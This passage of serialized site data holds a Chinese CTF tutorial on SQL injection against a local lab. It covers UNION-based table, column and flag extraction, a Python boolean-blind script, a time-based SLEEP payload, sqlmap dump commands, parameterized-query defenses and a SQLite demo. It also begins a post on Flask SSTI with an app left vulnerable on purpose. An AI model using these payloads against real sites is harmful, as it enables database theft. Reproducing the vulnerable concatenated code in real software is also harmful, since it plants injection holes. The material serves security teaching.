步：查表名",[23,4752,4754],{"className":25,"code":4753,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+\"\n",[30,4755,4756],{"__ignoreMap":28},[33,4757,4758,4760,4762,4765],{"class":35,"line":36},[33,4759,4482],{"class":39},[33,4761,4485],{"class":412},[33,4763,4764],{"class":43},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+",[33,4766,4491],{"class":412},[16,4768,169,4769,301],{},[30,4770,4771],{},"articles,flag,users",[147,4773,4775],{"id":4774},"第-5-步查列名","第 5 步：查列名",[23,4777,4779],{"className":25,"code":4778,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+\"\n",[30,4780,4781],{"__ignoreMap":28},[33,4782,4783,4785,4787,4790],{"class":35,"line":36},[33,4784,4482],{"class":39},[33,4786,4485],{"class":412},[33,4788,4789],{"class":43},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+",[33,4791,4491],{"class":412},[16,4793,169,4794,301],{},[30,4795,2306],{},[16,4797,4798,4801,4802,4804,4805,4807,4808,4810],{},[136,4799,4800],{},"说明","：如果第 4 步看到多个表，比如 ",[30,4803,4771],{},"，优先怀疑 ",[30,4806,2306],{}," 表；列名可能不是 ",[30,4809,2306],{},"，需要本步用 information_schema.columns 确认。",[147,4812,4814],{"id":4813},"第-6-步拿数据","第 6 步：拿数据",[23,4816,4818],{"className":25,"code":4817,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+\"\n",[30,4819,4820],{"__ignoreMap":28},[33,4821,4822,4824,4826,4829],{"class":35,"line":36},[33,4823,4482],{"class":39},[33,4825,4485],{"class":412},[33,4827,4828],{"class":43},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+",[33,4830,4491],{"class":412},[16,4832,169,4833,301],{},[30,4834,4835],{},"flag{sql_injection}",[16,4837,4838,4841],{},[136,4839,4840],{},"验证","：若第 6 步报错，通常是列名猜错，回到第 5 步把列名抄准再试。",[11,4843,4845],{"id":4844},"五核心步骤-3盲注页面不回显时","五、核心步骤 3：盲注（页面不回显时）",[16,4847,4848,4850],{},[136,4849,138],{},"：当页面既不显示查询结果也不报错时，把数据库当\"是与否\"的问答机，逐字符问出数据。",[16,4852,4853],{},"当页面不显示查询结果也不报错时，只能用\"是与否\"推断数据。",[147,4855,4857],{"id":4856},"_51-布尔盲注","5.1 布尔盲注",[23,4859,4861],{"className":25,"code":4860,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='c'--+\"\n",[30,4862,4863],{"__ignoreMap":28},[33,4864,4865,4867,4869,4872],{"class":35,"line":36},[33,4866,4482],{"class":39},[33,4868,4485],{"class":412},[33,4870,4871],{"class":43},"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='c'--+",[33,4873,4491],{"class":412},[16,4875,4876,4877,301],{},"正常 → 库名第一个字符是 ",[30,4878,818],{},[23,4880,4882],{"className":25,"code":4881,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='a'--+\"\n",[30,4883,4884],{"__ignoreMap":28},[33,4885,4886,4888,4890,4893],{"class":35,"line":36},[33,4887,4482],{"class":39},[33,4889,4485],{"class":412},[33,4891,4892],{"class":43},"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='a'--+",[33,4894,4491],{"class":412},[16,4896,4897,4898,301],{},"为空 → 不是 ",[30,4899,2500],{},[16,4901,4902],{},"自动化脚本：",[16,4904,4905,4907,4908,4911],{},[136,4906,144],{},"：对 flag 的每个位置，逐个尝试字符，问\"这一位是不是 ch\"；页面出现正常特征（如 ",[30,4909,4910],{},"hello","）就说明猜对，把字符记下再问下一位。",[23,4913,4915],{"className":1238,"code":4914,"language":1240,"meta":28,"style":28},"import requests, string\n# requests：HTTP 请求库；string：标准库，提供 printable（可打印字符集）。\n\nurl = \"http://127.0.0.1:8000/vuln.php\"\nresult = \"\"          # 保存已确认的 flag 片段\n\nfor pos in range(1, 50):\n    # pos 从 1 开始，逐位猜测；50 是长度上限，防止死循环。\n    found = False\n    for ch in string.printable:\n        payload = f\"1 AND (SELECT SUBSTRING((SELECT flag FROM flag LIMIT 1),{pos},1))='{ch}'--+\"\n        # SUBSTRING(text, pos, 1)：取字符串第 pos 位、长度 1 的字符。\n        # 内层 SELECT flag FROM flag LIMIT 1：取出 flag 表第一行。\n        # 整句含义：如果 flag 第 pos 位是 ch，条件为真。\n        r = requests.get(url, params={\"id\": payload})\n        # requests.get(url, params=...)：GET 请求，params 自动做 URL 编码。\n        # r.text：响应正文。\n        if \"hello\" in r.text:\n            # 条件为真时页面正常，包含特征字符串 \"hello\"。\n            result += ch\n            print(result)\n            found = True\n            break\n    if not found or result.endswith('}'):\n        # 一整轮都没猜中 = 已到结尾；或以 } 结尾 = flag 结束。\n        break\nprint(\"flag:\", result)\n",[30,4916,4917,4922,4927,4931,4936,4941,4945,4950,4955,4960,4965,4970,4975,4980,4985,4990,4995,5000,5005,5010,5015,5020,5025,5030,5035,5040,5044],{"__ignoreMap":28},[33,4918,4919],{"class":35,"line":36},[33,4920,4921],{},"import requests, string\n",[33,4923,4924],{"class":35,"line":47},[33,4925,4926],{},"# requests：HTTP 请求库；string：标准库，提供 printable（可打印字符集）。\n",[33,4928,4929],{"class":35,"line":70},[33,4930,1460],{"emptyLinePlaceholder":1373},[33,4932,4933],{"class":35,"line":80},[33,4934,4935],{},"url = \"http://127.0.0.1:8000/vuln.php\"\n",[33,4937,4938],{"class":35,"line":452},[33,4939,4940],{},"result = \"\"          # 保存已确认的 flag 片段\n",[33,4942,4943],{"class":35,"line":458},[33,4944,1460],{"emptyLinePlaceholder":1373},[33,4946,4947],{"class":35,"line":464},[33,4948,4949],{},"for pos in range(1, 50):\n",[33,4951,4952],{"class":35,"line":470},[33,4953,4954],{},"    # pos 从 1 开始，逐位猜测；50 是长度上限，防止死循环。\n",[33,4956,4957],{"class":35,"line":476},[33,4958,4959],{},"    found = False\n",[33,4961,4962],{"class":35,"line":482},[33,4963,4964],{},"    for ch in string.printable:\n",[33,4966,4967],{"class":35,"line":1295},[33,4968,4969],{},"        payload = f\"1 AND (SELECT SUBSTRING((SELECT flag FROM flag LIMIT 1),{pos},1))='{ch}'--+\"\n",[33,4971,4972],{"class":35,"line":1301},[33,4973,4974],{},"        # SUBSTRING(text, pos, 1)：取字符串第 pos 位、长度 1 的字符。\n",[33,4976,4977],{"class":35,"line":1505},[33,4978,4979],{},"        # 内层 SELECT flag FROM flag LIMIT 1：取出 flag 表第一行。\n",[33,4981,4982],{"class":35,"line":1511},[33,4983,4984],{},"        # 整句含义：如果 flag 第 pos 位是 ch，条件为真。\n",[33,4986,4987],{"class":35,"line":1517},[33,4988,4989],{},"        r = requests.get(url, params={\"id\": payload})\n",[33,4991,4992],{"class":35,"line":1523},[33,4993,4994],{},"        # requests.get(url, params=...)：GET 请求，params 自动做 URL 编码。\n",[33,4996,4997],{"class":35,"line":1529},[33,4998,4999],{},"        # r.text：响应正文。\n",[33,5001,5002],{"class":35,"line":1535},[33,5003,5004],{},"        if \"hello\" in r.text:\n",[33,5006,5007],{"class":35,"line":1541},[33,5008,5009],{},"            # 条件为真时页面正常，包含特征字符串 \"hello\"。\n",[33,5011,5012],{"class":35,"line":2981},[33,5013,5014],{},"            result += ch\n",[33,5016,5017],{"class":35,"line":2987},[33,5018,5019],{},"            print(result)\n",[33,5021,5022],{"class":35,"line":2993},[33,5023,5024],{},"            found = True\n",[33,5026,5027],{"class":35,"line":2999},[33,5028,5029],{},"            break\n",[33,5031,5032],{"class":35,"line":3005},[33,5033,5034],{},"    if not found or result.endswith('}'):\n",[33,5036,5037],{"class":35,"line":3770},[33,5038,5039],{},"        # 一整轮都没猜中 = 已到结尾；或以 } 结尾 = flag 结束。\n",[33,5041,5042],{"class":35,"line":3775},[33,5043,2672],{},[33,5045,5046],{"class":35,"line":3781},[33,5047,5048],{},"print(\"flag:\", result)\n",[16,5050,5051],{},"运行过程输出（节选）：",[23,5053,5056],{"className":5054,"code":5055,"language":175,"meta":28},[173],"f\nfl\nfla\nflag{\n...\nflag{sql_injection}\n",[30,5057,5055],{"__ignoreMap":28},[147,5059,5061],{"id":5060},"_52-时间盲注","5.2 时间盲注",[16,5063,5064,5065,5068],{},"页面连\"正常/异常\"都无法区分时，用 ",[30,5066,5067],{},"SLEEP"," 制造时间差：",[23,5070,5072],{"className":25,"code":5071,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND IF((SELECT SUBSTRING(database(),1,1))='c',SLEEP(2),0)--+\"\n",[30,5073,5074],{"__ignoreMap":28},[33,5075,5076,5078,5080,5083],{"class":35,"line":36},[33,5077,4482],{"class":39},[33,5079,4485],{"class":412},[33,5081,5082],{"class":43},"http://127.0.0.1:8000/vuln.php?id=1 AND IF((SELECT SUBSTRING(database(),1,1))='c',SLEEP(2),0)--+",[33,5084,4491],{"class":412},[16,5086,5087],{},"响应慢 2 秒 → 条件为真。脚本判断响应时间即可。",[11,5089,5091],{"id":5090},"六核心步骤-4sqlmap-自动化","六、核心步骤 4：sqlmap 自动化",[16,5093,5094,5096],{},[136,5095,138],{},"：手工确认后，用工具批量完成拖库，效率更高。",[147,5098,5100],{"id":5099},"命令-1检测","命令 1：检测",[16,5102,5103,5105],{},[136,5104,144],{},"：sqlmap 会对参数自动测试多种注入技术并报告类型。先检测确认，再定向拖库。",[23,5107,5109],{"className":25,"code":5108,"language":27,"meta":28,"style":28},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" --batch\n",[30,5110,5111],{"__ignoreMap":28},[33,5112,5113,5116,5119,5121,5123,5126],{"class":35,"line":36},[33,5114,5115],{"class":39},"sqlmap",[33,5117,5118],{"class":241}," -u",[33,5120,4485],{"class":412},[33,5122,4488],{"class":43},[33,5124,5125],{"class":412},"\"",[33,5127,5128],{"class":241}," --batch\n",[16,5130,422],{},[23,5132,5135],{"className":5133,"code":5134,"language":175,"meta":28},[173],"Parameter: id (GET)\n    Type: boolean-based blind\n    Type: UNION query\n",[30,5136,5134],{"__ignoreMap":28},[147,5138,5140],{"id":5139},"命令-2列库","命令 2：列库",[23,5142,5144],{"className":25,"code":5143,"language":27,"meta":28,"style":28},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" --dbs\n",[30,5145,5146],{"__ignoreMap":28},[33,5147,5148,5150,5152,5154,5156,5158],{"class":35,"line":36},[33,5149,5115],{"class":39},[33,5151,5118],{"class":241},[33,5153,4485],{"class":412},[33,5155,4488],{"class":43},[33,5157,5125],{"class":412},[33,5159,5160],{"class":241}," --dbs\n",[16,5162,5163,5164,301],{},"预期输出：数据库列表，含 ",[30,5165,1370],{},[147,5167,5169],{"id":5168},"命令-3导出数据","命令 3：导出数据",[23,5171,5173],{"className":25,"code":5172,"language":27,"meta":28,"style":28},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" -D ctf -T flag --dump\n",[30,5174,5175],{"__ignoreMap":28},[33,5176,5177,5179,5181,5183,5185,5187,5190,5193,5196,5199],{"class":35,"line":36},[33,5178,5115],{"class":39},[33,5180,5118],{"class":241},[33,5182,4485],{"class":412},[33,5184,4488],{"class":43},[33,5186,5125],{"class":412},[33,5188,5189],{"class":241}," -D",[33,5191,5192],{"class":43}," ctf",[33,5194,5195],{"class":241}," -T",[33,5197,5198],{"class":43}," flag",[33,5200,5201],{"class":241}," --dump\n",[16,5203,169,5204,5206,5207,301],{},[30,5205,2306],{}," 表内容 ",[30,5208,4835],{},[11,5210,5212],{"id":5211},"七核心步骤-5防御","七、核心步骤 5：防御",[23,5214,5216],{"className":4249,"code":5215,"language":4251,"meta":28,"style":28},"// PDO 参数化\n$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n$stmt->execute([$_GET['id']]);\n\n// mysqli 参数化\n$stmt = $conn->prepare(\"SELECT * FROM users WHERE username = ? AND password = ?\");\n$stmt->bind_param(\"ss\", $user, $pass);\n$stmt->execute();\n",[30,5217,5218,5223,5228,5233,5237,5242,5247,5252],{"__ignoreMap":28},[33,5219,5220],{"class":35,"line":36},[33,5221,5222],{},"// PDO 参数化\n",[33,5224,5225],{"class":35,"line":47},[33,5226,5227],{},"$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n",[33,5229,5230],{"class":35,"line":70},[33,5231,5232],{},"$stmt->execute([$_GET['id']]);\n",[33,5234,5235],{"class":35,"line":80},[33,5236,1460],{"emptyLinePlaceholder":1373},[33,5238,5239],{"class":35,"line":452},[33,5240,5241],{},"// mysqli 参数化\n",[33,5243,5244],{"class":35,"line":458},[33,5245,5246],{},"$stmt = $conn->prepare(\"SELECT * FROM users WHERE username = ? AND password = ?\");\n",[33,5248,5249],{"class":35,"line":464},[33,5250,5251],{},"$stmt->bind_param(\"ss\", $user, $pass);\n",[33,5253,5254],{"class":35,"line":470},[33,5255,5256],{},"$stmt->execute();\n",[23,5258,5260],{"className":1238,"code":5259,"language":1240,"meta":28,"style":28},"cursor.execute(\"SELECT * FROM users WHERE username = ?\", (name,))\n",[30,5261,5262],{"__ignoreMap":28},[33,5263,5264],{"class":35,"line":36},[33,5265,5259],{},[16,5267,5268,5269,5272],{},"参数化后，输入 ",[30,5270,5271],{},"1 OR 1=1"," 只会作为字符串比较，不再改变语句结构。",[11,5274,5276],{"id":5275},"八附录本地可运行的-sqlite-模拟完整输入输出","八、附录：本地可运行的 SQLite 模拟（完整输入输出）",[16,5278,5279,5281],{},[136,5280,138],{},"：没有 PHP/MySQL 环境时，用 Python 自带 sqlite3 复现同样的\"字符串拼接注入\"，逐条对照输出理解每一步。",[16,5283,5284,5285,561],{},"没有 PHP/MySQL 时，用 Python + SQLite 复现同样的漏洞机制。保存 ",[30,5286,5287],{},"sim.py",[23,5289,5291],{"className":1238,"code":5290,"language":1240,"meta":28,"style":28},"import sqlite3\n# sqlite3：Python 标准库，操作 SQLite 数据库。\n\nconn = sqlite3.connect(':memory:')\n# connect(':memory:')：在内存中创建数据库，程序退出即消失，适合演示。\nconn.executescript('''\nCREATE TABLE articles (id INT, title TEXT, content TEXT);\nINSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\nCREATE TABLE flag (flag TEXT);\nINSERT INTO flag VALUES ('flag{sql_injection}');\n''')\n# executescript：一次性执行多条 SQL，建表并插入测试数据。\n\ndef query(id_):\n    # 模拟服务端：把参数拼进 SQL 再执行（与漏洞 PHP 代码等价）。\n    cur = conn.cursor()\n    # cursor()：创建游标对象，用于执行 SQL。\n    try:\n        cur.execute(\"SELECT id, title, content FROM articles WHERE id = \" + id_)\n        # execute：执行一条 SQL；这里直接拼接 id_，即注入点。\n        return str(cur.fetchall())\n        # fetchall()：取出全部结果行，str() 转成字符串方便打印。\n    except Exception as e:\n        # 语法错误等异常会走到这里，模拟\"页面报错\"。\n        return \"ERROR: \" + str(e)\n\nprint(query(\"1\"))\nprint(query(\"1'\"))\nprint(query(\"1 AND 1=1\"))\nprint(query(\"1 AND 1=2\"))\nprint(query(\"1 ORDER BY 3\"))\nprint(query(\"-1 UNION SELECT 1,2,3-- \"))\nprint(query(\"-1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- \"))\nprint(query(\"-1 UNION SELECT 1,flag,3 FROM flag-- \"))\n",[30,5292,5293,5298,5303,5307,5312,5317,5322,5327,5331,5336,5340,5345,5350,5354,5359,5364,5369,5374,5379,5384,5389,5394,5399,5404,5409,5414,5418,5423,5428,5433,5438,5443,5448,5453],{"__ignoreMap":28},[33,5294,5295],{"class":35,"line":36},[33,5296,5297],{},"import sqlite3\n",[33,5299,5300],{"class":35,"line":47},[33,5301,5302],{},"# sqlite3：Python 标准库，操作 SQLite 数据库。\n",[33,5304,5305],{"class":35,"line":70},[33,5306,1460],{"emptyLinePlaceholder":1373},[33,5308,5309],{"class":35,"line":80},[33,5310,5311],{},"conn = sqlite3.connect(':memory:')\n",[33,5313,5314],{"class":35,"line":452},[33,5315,5316],{},"# connect(':memory:')：在内存中创建数据库，程序退出即消失，适合演示。\n",[33,5318,5319],{"class":35,"line":458},[33,5320,5321],{},"conn.executescript('''\n",[33,5323,5324],{"class":35,"line":464},[33,5325,5326],{},"CREATE TABLE articles (id INT, title TEXT, content TEXT);\n",[33,5328,5329],{"class":35,"line":470},[33,5330,4370],{},[33,5332,5333],{"class":35,"line":476},[33,5334,5335],{},"CREATE TABLE flag (flag TEXT);\n",[33,5337,5338],{"class":35,"line":482},[33,5339,4380],{},[33,5341,5342],{"class":35,"line":1295},[33,5343,5344],{},"''')\n",[33,5346,5347],{"class":35,"line":1301},[33,5348,5349],{},"# executescript：一次性执行多条 SQL，建表并插入测试数据。\n",[33,5351,5352],{"class":35,"line":1505},[33,5353,1460],{"emptyLinePlaceholder":1373},[33,5355,5356],{"class":35,"line":1511},[33,5357,5358],{},"def query(id_):\n",[33,5360,5361],{"class":35,"line":1517},[33,5362,5363],{},"    # 模拟服务端：把参数拼进 SQL 再执行（与漏洞 PHP 代码等价）。\n",[33,5365,5366],{"class":35,"line":1523},[33,5367,5368],{},"    cur = conn.cursor()\n",[33,5370,5371],{"class":35,"line":1529},[33,5372,5373],{},"    # cursor()：创建游标对象，用于执行 SQL。\n",[33,5375,5376],{"class":35,"line":1535},[33,5377,5378],{},"    try:\n",[33,5380,5381],{"class":35,"line":1541},[33,5382,5383],{},"        cur.execute(\"SELECT id, title, content FROM articles WHERE id = \" + id_)\n",[33,5385,5386],{"class":35,"line":2981},[33,5387,5388],{},"        # execute：执行一条 SQL；这里直接拼接 id_，即注入点。\n",[33,5390,5391],{"class":35,"line":2987},[33,5392,5393],{},"        return str(cur.fetchall())\n",[33,5395,5396],{"class":35,"line":2993},[33,5397,5398],{},"        # fetchall()：取出全部结果行，str() 转成字符串方便打印。\n",[33,5400,5401],{"class":35,"line":2999},[33,5402,5403],{},"    except Exception as e:\n",[33,5405,5406],{"class":35,"line":3005},[33,5407,5408],{},"        # 语法错误等异常会走到这里，模拟\"页面报错\"。\n",[33,5410,5411],{"class":35,"line":3770},[33,5412,5413],{},"        return \"ERROR: \" + str(e)\n",[33,5415,5416],{"class":35,"line":3775},[33,5417,1460],{"emptyLinePlaceholder":1373},[33,5419,5420],{"class":35,"line":3781},[33,5421,5422],{},"print(query(\"1\"))\n",[33,5424,5425],{"class":35,"line":3787},[33,5426,5427],{},"print(query(\"1'\"))\n",[33,5429,5430],{"class":35,"line":3792},[33,5431,5432],{},"print(query(\"1 AND 1=1\"))\n",[33,5434,5435],{"class":35,"line":3798},[33,5436,5437],{},"print(query(\"1 AND 1=2\"))\n",[33,5439,5440],{"class":35,"line":3804},[33,5441,5442],{},"print(query(\"1 ORDER BY 3\"))\n",[33,5444,5445],{"class":35,"line":3810},[33,5446,5447],{},"print(query(\"-1 UNION SELECT 1,2,3-- \"))\n",[33,5449,5450],{"class":35,"line":3816},[33,5451,5452],{},"print(query(\"-1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- \"))\n",[33,5454,5455],{"class":35,"line":3821},[33,5456,5457],{},"print(query(\"-1 UNION SELECT 1,flag,3 FROM flag-- \"))\n",[16,5459,5460],{},"运行：",[23,5462,5464],{"className":25,"code":5463,"language":27,"meta":28,"style":28},"python3 sim.py\n",[30,5465,5466],{"__ignoreMap":28},[33,5467,5468,5470],{"class":35,"line":36},[33,5469,2131],{"class":39},[33,5471,5472],{"class":43}," sim.py\n",[16,5474,2432],{},[23,5476,5479],{"className":5477,"code":5478,"language":175,"meta":28},[173],"[(1, 'hello', 'world')]\nERROR: unrecognized token: \"'\"\n[(1, 'hello', 'world')]\n[]\n[(1, 'hello', 'world')]\n[(1, 2, 3)]\n[(1, 'articles,flag', 3)]\n[(1, 'flag{sql_injection}', 3)]\n",[30,5480,5478],{"__ignoreMap":28},[16,5482,5483],{},"逐行对应：",[490,5485,5486,5499],{},[493,5487,5488],{},[496,5489,5490,5493,5496],{},[499,5491,5492],{},"输入",[499,5494,5495],{},"输出",[499,5497,5498],{},"结论",[506,5500,5501,5514,5527,5539,5552,5565,5580,5593],{},[496,5502,5503,5508,5511],{},[511,5504,5505],{},[30,5506,5507],{},"1",[511,5509,5510],{},"正常记录",[511,5512,5513],{},"基线",[496,5515,5516,5521,5524],{},[511,5517,5518],{},[30,5519,5520],{},"1'",[511,5522,5523],{},"语法错误",[511,5525,5526],{},"注入点存在",[496,5528,5529,5534,5536],{},[511,5530,5531],{},[30,5532,5533],{},"1 AND 1=1",[511,5535,5510],{},[511,5537,5538],{},"条件真",[496,5540,5541,5546,5549],{},[511,5542,5543],{},[30,5544,5545],{},"1 AND 1=2",[511,5547,5548],{},"空",[511,5550,5551],{},"条件假",[496,5553,5554,5559,5562],{},[511,5555,5556],{},[30,5557,5558],{},"1 ORDER BY 3",[511,5560,5561],{},"正常",[511,5563,5564],{},"至少 3 列",[496,5566,5567,5572,5577],{},[511,5568,5569],{},[30,5570,5571],{},"-1 UNION SELECT 1,2,3",[511,5573,5574],{},[30,5575,5576],{},"(1, 2, 3)",[511,5578,5579],{},"3 列且回显",[496,5581,5582,5585,5590],{},[511,5583,5584],{},"查 sqlite_master",[511,5586,5587],{},[30,5588,5589],{},"articles,flag",[511,5591,5592],{},"表名（SQLite 的元数据表；MySQL 用 information_schema.tables）",[496,5594,5595,5598,5602],{},[511,5596,5597],{},"查 flag 表",[511,5599,5600],{},[30,5601,4835],{},[511,5603,5604],{},"拿到 flag",[11,5606,5608],{"id":5607},"九小结","九、小结",[16,5610,5611,5612,5615],{},"SQL 注入主线：",[136,5613,5614],{},"判断注入点 → UNION 逐层拿数据（列数→库→表→列→数据）→ 盲注兜底 → sqlmap 加速 → 参数化防御","。练完 sqli-labs 前 10 关即可掌握全部内容。",[1350,5617,5618],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}",{"title":28,"searchDepth":47,"depth":47,"links":5620},[5621,5622,5623,5624,5625,5626,5627,5628,5629],{"id":4242,"depth":70,"text":4243},{"id":4294,"depth":70,"text":4295},{"id":4448,"depth":70,"text":4449},{"id":4606,"depth":70,"text":4607},{"id":4844,"depth":70,"text":4845},{"id":5090,"depth":70,"text":5091},{"id":5211,"depth":70,"text":5212},{"id":5275,"depth":70,"text":5276},{"id":5607,"depth":70,"text":5608},"SQL 注入环境搭建、注入点判断、UNION 五步拖库、盲注脚本、sqlmap 自动化、参数化防御。",{"date":1366,"image":5632,"alt":5633,"tags":5634,"published":1373},"/blogs-img/blog5.png","SQL 注入深入实战",[1370,5635,5636,1372],"web","sql注入","/blogs/ctf-web-sql-injection-deep-dive",{"title":4237,"description":5630},"blogs/14. ctf-web-sql-injection-deep-dive","ayEbnZAfIhYBpMrKx07Y9pgkSt5Y7VQ7rhq2f05H6Ns",{"id":5642,"title":5643,"body":5644,"description":6690,"extension":1364,"meta":6691,"navigation":1373,"ogImage":6692,"path":6696,"seo":6697,"stem":6698,"__hash__":6699},"content/blogs/15. ctf-web-ssti-deep-dive.md","SSTI 深入实战：探测、RCE 链与绕过",{"type":8,"value":5645,"toc":6680},[5646,5650,5653,5696,5707,5710,5719,5725,5729,5743,5748,5801,5803,5815,5819,5824,5837,5841,5857,5859,5881,5885,5901,5903,5921,5931,5935,6002,6006,6011,6044,6053,6057,6063,6067,6073,6076,6092,6094,6112,6115,6131,6133,6151,6164,6172,6183,6190,6196,6199,6277,6283,6286,6292,6296,6308,6317,6329,6333,6339,6343,6349,6358,6360,6364,6410,6414,6457,6463,6467,6470,6539,6543,6552,6556,6561,6576,6582,6586,6601,6630,6633,6639,6643,6651,6654,6660,6662,6677],[11,5647,5649],{"id":5648},"一现实背景模板引擎的正确与错误用法","一、现实背景：模板引擎的正确与错误用法",[16,5651,5652],{},"Web 开发常用模板引擎把数据渲染成 HTML。Flask 的正确写法：",[23,5654,5656],{"className":1238,"code":5655,"language":1240,"meta":28,"style":28},"from flask import Flask, render_template\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n    name = request.args.get(\"name\", \"world\")\n    return render_template(\"hello.html\", name=name)\n",[30,5657,5658,5663,5667,5672,5676,5681,5686,5691],{"__ignoreMap":28},[33,5659,5660],{"class":35,"line":36},[33,5661,5662],{},"from flask import Flask, render_template\n",[33,5664,5665],{"class":35,"line":47},[33,5666,1460],{"emptyLinePlaceholder":1373},[33,5668,5669],{"class":35,"line":70},[33,5670,5671],{},"app = Flask(__name__)\n",[33,5673,5674],{"class":35,"line":80},[33,5675,1460],{"emptyLinePlaceholder":1373},[33,5677,5678],{"class":35,"line":452},[33,5679,5680],{},"@app.route(\"/\")\n",[33,5682,5683],{"class":35,"line":458},[33,5684,5685],{},"def index():\n",[33,5687,5688],{"class":35,"line":464},[33,5689,5690],{},"    name = request.args.get(\"name\", \"world\")\n",[33,5692,5693],{"class":35,"line":470},[33,5694,5695],{},"    return render_template(\"hello.html\", name=name)\n",[16,5697,5698,5699,5702,5703,5706],{},"模板文件 ",[30,5700,5701],{},"hello.html"," 内容是固定的 ",[30,5704,5705],{},"\u003Ch1>Hello, {{ name }}!\u003C/h1>","，用户输入只是参数值。",[16,5708,5709],{},"错误写法是把用户输入拼进模板字符串：",[23,5711,5713],{"className":1238,"code":5712,"language":1240,"meta":28,"style":28},"return render_template_string(\"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\", name=name)\n",[30,5714,5715],{"__ignoreMap":28},[33,5716,5717],{"class":35,"line":36},[33,5718,5712],{},[16,5720,5721,5724],{},[30,5722,5723],{},"{{ ... }}"," 里的表达式会被求值。用户输入进入模板字符串，就形成了模板注入（SSTI）。",[11,5726,5728],{"id":5727},"二环境搭建","二、环境搭建",[23,5730,5732],{"className":25,"code":5731,"language":27,"meta":28,"style":28},"pip install flask\n",[30,5733,5734],{"__ignoreMap":28},[33,5735,5736,5738,5740],{"class":35,"line":36},[33,5737,2711],{"class":39},[33,5739,106],{"class":43},[33,5741,5742],{"class":43}," flask\n",[16,5744,1437,5745,561],{},[30,5746,5747],{},"app.py",[23,5749,5751],{"className":1238,"code":5750,"language":1240,"meta":28,"style":28},"from flask import Flask, request, render_template_string\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n    name = request.args.get(\"name\", \"world\")\n    html = \"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\"\n    return render_template_string(html, name=name)\n\napp.run(host=\"0.0.0.0\", port=5000)\n",[30,5752,5753,5758,5762,5766,5770,5774,5778,5782,5787,5792,5796],{"__ignoreMap":28},[33,5754,5755],{"class":35,"line":36},[33,5756,5757],{},"from flask import Flask, request, render_template_string\n",[33,5759,5760],{"class":35,"line":47},[33,5761,1460],{"emptyLinePlaceholder":1373},[33,5763,5764],{"class":35,"line":70},[33,5765,5671],{},[33,5767,5768],{"class":35,"line":80},[33,5769,1460],{"emptyLinePlaceholder":1373},[33,5771,5772],{"class":35,"line":452},[33,5773,5680],{},[33,5775,5776],{"class":35,"line":458},[33,5777,5685],{},[33,5779,5780],{"class":35,"line":464},[33,5781,5690],{},[33,5783,5784],{"class":35,"line":470},[33,5785,5786],{},"    html = \"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\"\n",[33,5788,5789],{"class":35,"line":476},[33,5790,5791],{},"    return render_template_string(html, name=name)\n",[33,5793,5794],{"class":35,"line":482},[33,5795,1460],{"emptyLinePlaceholder":1373},[33,5797,5798],{"class":35,"line":1295},[33,5799,5800],{},"app.run(host=\"0.0.0.0\", port=5000)\n",[16,5802,5460],{},[23,5804,5806],{"className":25,"code":5805,"language":27,"meta":28,"style":28},"python app.py\n",[30,5807,5808],{"__ignoreMap":28},[33,5809,5810,5812],{"class":35,"line":36},[33,5811,1240],{"class":39},[33,5813,5814],{"class":43}," app.py\n",[11,5816,5818],{"id":5817},"三核心步骤-1探测","三、核心步骤 1：探测",[16,5820,5821,5823],{},[136,5822,138],{},"：确认\"用户输入被当作模板代码求值\"。",[16,5825,5826,5828,5829,5832,5833,5836],{},[136,5827,144],{},"：模板引擎会执行 ",[30,5830,5831],{},"{{ 表达式 }}","。传 ",[30,5834,5835],{},"{{7*7}}","，若响应出现 49，说明表达式被求值，注入成立。先做这一步，再考虑 RCE。",[147,5838,5840],{"id":5839},"_31-正常请求","3.1 正常请求",[23,5842,5844],{"className":25,"code":5843,"language":27,"meta":28,"style":28},"curl 